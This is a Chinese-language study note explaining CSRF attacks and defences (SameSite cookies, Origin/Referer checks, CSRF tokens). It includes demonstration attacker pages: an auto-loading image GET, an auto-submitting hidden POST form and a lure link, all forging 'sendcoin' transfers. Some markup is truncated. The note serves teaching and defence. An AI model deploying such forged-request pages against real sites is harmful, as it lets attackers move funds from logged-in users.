回顾:XSS的攻击方式?
XSS的攻击方式是黑客往用户的页面中注入恶意脚本,然后再通过恶意脚本将用户页面的数据上传到黑客的服务器上,最后黑客再利用这些数据进行一些恶意操作。
什么是CSRF攻击?
CSRF(跨站请求伪造),是指黑客引诱用户打开黑客的网站,在黑客的网站中,利用用户的登录状态发起的跨站请求。即:CSRF攻击就是黑客利用了用户的登录状态,并通过第三方的站点来做一些坏事。
黑客实施CSRF攻击的方式有哪些?
- 自动发起GET请求
<!DOCTYPE html>
<html>
<body>
<h1> 黑客的站点:CSRF 攻击演示 </h1>
<img src="https://time.geekbang.org/sendcoin? user=hacker&number=100">
</body>
</html>
- 自动发起POST请求
<!DOCTYPE html>
<html>
<body>
<h1> 黑客的站点:CSRF 攻击演示 </h1>
<form id='hacker-form' action="https://time.geekbang.org/sendcoin" method=POS
<input type="hidden" name="user" value="hacker" />
<input type="hidden" name="number" value="100" />
</form>
<script> document.getElementById('hacker-form').submit(); </script> </body>
</html>
- 引诱用户点击链接
<div>
<img width=150 src=http://images.xuejuzi.cn/1612/1_161230185104_1.jpg> </img>
<a href="https://time.geekbang.org/sendcoin?user=hacker&number=100" taget="_b点击下载美女照片
</a>
</div>
和XSS不同的是,CSRF攻击不需要将恶意代码注入用户的页面,仅仅是利用服务器的漏洞和用户的登录状态来实施攻击。(因此关键因素是找到服务器的漏洞)
CSRF攻击是源于WEB的隐式身份验证机制!WEB的身份验证机制虽然可以保证一个请求是来自于某个用户的浏览器,但却无法保证该请求是用户批准发送的
发起CSRF攻击的三个必要条件:
- 目标站点一定要有CSRF漏洞
- 用户要登录过目标站点,并且在浏览器上保持有该站点的登录状态;
- 需要用户打开一个第三方站点,可以是黑客的站点,也可以是一些论坛;
三个条件缺一不可。
CSRF的防御?
- 充分利用好
Cookie
的SameSite
属性
由于黑客会利用用户的登录状态来发起CSRF攻击,而Cookie正是浏览器和服务器之间维护登录状态的一个关键数据,因此为了阻止CSRF,可以在Cookie上做文章。
比如:从第三方站点发送请求时禁止Cookie发送到服务器,从而是黑客的CSRF攻击失效。
如何做:在 HTTP 响应头中,通过 set-cookie
字段设置 Cookie 时,可以带上 SameSite
选项。而SameSite
选项通常有 Strict、 Lax 和 None
三个值。
Strict
最为严格,设置了strict,浏览器会完全禁止第三方 Cookie
Lax
相对宽松,从第三方站点的链接打开或者从第三方站点提交Get方式的表单会携带Cookie,其他的不会。
None
,任何情况下都会发送Cookie数据
- 验证请求的来源站点
在服务器端验证请求来源的站点。通过Http请求头中的Referer或者Origin
。但由于Referer会携带请求的数据和url等信息,因此不推荐Referer
,可以带上Origin
属性,将域名信息发送给服务器。服务器优先根据Origin
携带的域名信息来判断是否是第三方站点,若是,则禁止请求。若请求头中没有包含Origin
属性,再根据实际情况判断是否使用Referer
值
-
CSRF Token
- 在浏览器向服务器发起请求时,服务器生成一个 CSRF Token。CSRF Token 其实就是服务器生成的字符串(value值),然后将该字符串植入到返回的页面中
<!DOCTYPE html> <html> <body> <form action="https://time.geekbang.org/sendcoin" method="POST"> <input type="hidden" name="csrf-token" value="nc98P987bcpncYhoadjoiydc9aj <input type="text" name="user"> <input type="text" name="number"> <input type="submit"> </form> </body> </html>
- 在浏览器端如果要发起转账的请求,那么需要带上页面中的 CSRF Token,然后服务器会验证该 Token 是否合法。如果是从第三方站点发出的请求,那么将无法获取到CSRF Token 的值,所以即使发出了请求,服务器也会因为 CSRF Token 不正确而拒绝请求